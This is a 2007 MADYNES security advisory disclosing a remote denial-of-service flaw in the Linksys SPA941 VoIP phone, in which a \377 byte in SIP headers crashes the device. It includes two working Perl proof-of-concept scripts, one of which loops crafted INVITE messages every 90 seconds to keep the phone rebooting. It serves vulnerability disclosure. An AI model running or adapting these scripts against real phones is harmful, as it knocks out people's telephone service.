<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:st1="urn:schemas-microsoft-com:office:smarttags" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<meta name=Generator content="Microsoft Word 11 (filtered medium)">
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="State"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceType"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceName"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="place"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PersonName"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:Wingdings;
panose-1:5 0 0 0 0 0 0 0 0 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:12.0pt;
font-family:"Times New Roman";}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:Arial;
color:windowtext;}
@page Section1
{size:595.3pt 841.9pt;
margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
{page:Section1;}
/* List Definitions */
@list l0
{mso-list-id:714505760;
mso-list-template-ids:-1094920750;}
@list l0:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
ol
{margin-bottom:0in;}
ul
{margin-bottom:0in;}
-->
</style>
</head>
<body lang=FR link=blue vlink=purple>
<div class=Section1>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>MADYNES Security
Advisory <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
style='font-size:10.0pt;font-family:"Courier New"'><a
href="http://madynes.loria.fr/"><span lang=EN-US>http://madynes.loria.fr</span></a></span></font><font
size=2 face="Courier New"><span lang=EN-US style='font-size:10.0pt;font-family:
"Courier New"'><o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Title: Linksys
SPA941 remote DOS with \377 character<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Discovery Date:
01/02/2007 <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Vendor
notification: 4/04/2007 and 17/04/2007<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Release Date:
24/04/2007<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Severity: <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'> Moderate -
Denial of Service<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'>Advisory ID:KIHP3<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Vulnerability in Linksys SPA941<br>
<br>
<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Synopsis: After sending a crafted SIP messages the
device immediately reboots. The phone does not check properly the
metacharacters <font color=black><span style='color:black'> \377</span></font>
in the SIP field.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>The vendor was informed and future firmware will be
available. This vulnerability was identified by the Madynes research team at
INRIA Lorraine, using the Madynes VoIP fuzzer.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Background: SIP is the IETF standardized (RFCs 2543
and 3261) protocol for VoIP signalization. SIP is an ASCII based INVITE message
is used to initiate and maintain a communication session. <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><br>
Configuration of our device:<o:p></o:p></span></font></p>
<ul type=disc>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo1'><font size=3 color=black
face="Times New Roman"><span style='font-size:12.0pt'>Software Version:</span></font><font
color=darkblue><span style='color:darkblue'>5.1.5</span></font> <o:p></o:p></li>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo1'><font size=3 color=black
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>IP-Address
obtained by DHCP as 192.168.1.107 <o:p></o:p></span></font></li>
<li class=MsoNormal style='color:black;mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;mso-list:l0 level1 lfo1'><font size=3 color=black
face="Times New Roman"><span style='font-size:12.0pt'>User Name: linksys<o:p></o:p></span></font></li>
</ul>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Vulnerability:<br>
<br>
It may reboot and/or replies with invalid messages. The phone is not able to
handle well the character \377 (full byte) in a message. Depending where this
character is located the phone may reboot (e.g. in any section of the FROM
header). If this character is located anywhere else it may modify the content
of the reply messages generated by the phone as showed in the exploit. It looks
like a format string vulnerability, but no effort to investigate firmware was done.<br>
<br>
<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Exploit 1)<br>
<br>
<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>In this exploit we set a \377
character before every carriage return. The Replies are modified in their
Status line and most of the headers are erased. Different behavior exists
depending in the quantity of \377 characters and their location. </span></font><span
lang=EN-GB>Linksys IP Phone SPA941 (firmware 5.1.5), can not cope with the \337
characters in the FROM field when the real (IP port in the IP packet) is
different from the IP port in the SIP-FROM field .</span><font size=2
face=Arial><span lang=EN-US style='font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><br>
Exploit 1)<br>
<br>
To run the exploit the file linksys-5.1.5.pl should be launched (assuming our
configurations) as:<br>
<br>
perl linksys-5.1.5.pl 192.168.1.107 5060 linksys<br>
<br>
<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>POC: 1 <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>#!/usr/bin/perl<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>use IO::Socket::INET;<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>die "Usage $0 <dst>
<port> <username>" unless ($ARGV[2]);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>$socket=new
IO::Socket::INET->new(PeerPort=>$ARGV[1],<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'> </span></font><font
color=black><span lang=PT-BR style='color:black'>Proto=>'udp',<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'> PeerAddr=>$ARGV[0]);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'> <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'>$msg = <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'>"INVITE
sip:$ARGV[2]\@$ARGV[0] SIP/2.0\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'>Via: SIP/2.0/UDP
192.168.1.2;rport;branch=00\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Max-Forwards: 70\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>To: lynksys
<sip:$ARGV[2]\@$ARGV[0]>\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>From:
<sip:tucuman\@192.168.1.2>;tag=00\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Call-ID:
tucu\@192.168.1.2\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'>CSeq: 24865 INVITE\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=PT-BR style='font-size:12.0pt;color:black'>Contact: <sip:tucu\@192.168.1.2>\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Supported: 100rel\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>Content-Length: 0\377\r<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 color=black face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt;color:black'> </span></font><font size=2
face=Arial><span lang=EN-US style='font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Exploit 2)<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>In order to remote reboot the phone the following PC
will work<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt'>If the phone is called with the POC 2 it will ring.
When answering it reboots immediately. If not it will reboot after some time.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt'>The POC will send the killer message every 90 seconds
–the time needed for a reboot and performs the effective DOS. It also
opens a socket on the local machine to avoid sending RST to the phone. The same
can be obtained with a firewall or a netcat.<o:p></o:p></span></font></p>
<p class=MsoNormal><b><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold'><o:p> </o:p></span></font></b></p>
<p class=MsoNormal><b><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold'>POC 2:<o:p></o:p></span></font></b></p>
<p class=MsoNormal><b><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold'> <o:p></o:p></span></font></b></p>
<p class=MsoNormal><b><i><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold;font-style:italic'>Command</span></font></i></b><b><i><font
face="Courier New"><span lang=EN-GB style='font-family:"Courier New";
font-weight:bold;font-style:italic'>: </span></font></i></b><font size=2
face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>perl
script.pl <username> <dst_IP> <SourceIp> <sourceport><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Courier New"><span lang=EN-GB
style='font-size:10.0pt;font-family:"Courier New"'> Eg. Perl
script.pl 101 152.81.114.195 152.81.12.93 5060</span></font><b><i><span
lang=EN-GB style='font-weight:bold;font-style:italic'><o:p></o:p></span></i></b></p>
<p class=MsoNormal><b><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold'><o:p> </o:p></span></font></b></p>
<p class=MsoNormal><b><i><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt;font-weight:bold;font-style:italic'>Script Code:<o:p></o:p></span></font></i></b></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>#!/usr/bin/perl<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>use IO::Socket;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>#die "Usage
$0 <username> <dst_IP> <Source_IP> <SourcePort>"
unless ($ARGV[</span></font><font size=2 face="Courier New"><span lang=EN-US
style='font-size:10.0pt;font-family:"Courier New"'>2]);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>die "Usage
$0 <username> <dst_IP> <SourceIp> <sourceport>"
unless ($ARGV[0]);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>my $sock = new
IO::Socket::INET( LocalHost => $ARGV[2], LocalPort => $ARGV[3], Proto
=> 'udp'); <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket=new
IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060', Proto=>'udp',
LocalAddr=>$ARGV[2], LocalPort=>'5061');<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$touser=$ARGV[0];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$target=$ARGV[1];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$sourceaddress=$ARGV[2];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$sourceport=$ARGV[3];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$high=2000;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$low=1;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$fromuserid =
int(rand( $high-$low+1 ) ) + $low;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>my $cseq =
"INVITE";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$msg =
"INVITE sip:$touser\@$target SIP/2.0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Via: SIP/2.0/UDP
$sourceaddress:$sourceport;branch=z9hG4bK00000\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>From:
\377<sip:$fromuserid\@$sourceaddress>;tag=779\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>To: Receiver
<sip:$touser\@$target>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Call-ID:
10\@$sourceaddress\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>CSeq: 1 $cseq\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>Contact: 779
<sip:$fromuserid\@$sourceaddress>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>Expires: 1200\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Max-Forwards:
70\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Content-Type:
application/sdp\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Content-Length:
133\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>v=0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>o=0 0 0 IN IP4
$sourceaddress\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>s=Session SDP\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>c=IN IP4
$sourceaddress\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>t=0 0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>m=audio 9876
RTP/AVP 0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>a=rtpmap:0
PCMU/8000\r";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$sock or die
"no socket :$!";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>while (1){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'> $socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'> sleep
90;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'> </span></font><font
size=2 face="Courier New"><span lang=EN-US style='font-size:10.0pt;font-family:
"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-GB
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Impact: <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>A malicious user can remotely crash and perform a
denial of service attack by sending one crafted SIP messages. This is
conceptually similar to the “ping of death”. <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Resolution:<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Fixed software will be available and following
recommended best practices (ie segregating VOIP traffic from data) will be
protected from malicious traffic in most situations. <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-align:justify;text-autospace:none'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>From Linksys response
we include the following resolution: This style of attack, limited to a single
end point and executed from behind a secure firewall, should not affect an
entire network and in most cases should easily be contained by the local
network management entity. Linksys will directly address this issue with a
future release of the phone firmware.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>Distribution: The advisory will be posted on the
following websites:<o:p></o:p></span></font></p>
<p class=MsoNormal style='margin-left:.25in'><font size=3 face="Times New Roman"><span
lang=EN-US style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>madynes.loria.fr <o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'>The advisory will be posted to the following mailing
lists<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span style='font-size:
12.0pt'>Voipsec : <a href="mailto:voipsec@voipsa.org">voipsec@voipsa.org</a>.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span style='font-size:
12.0pt'>fulldisclosure: <st1:PersonName w:st="on">full-disclosure@lists.grok.org.uk</st1:PersonName><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span style='font-size:
12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span style='font-size:
12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
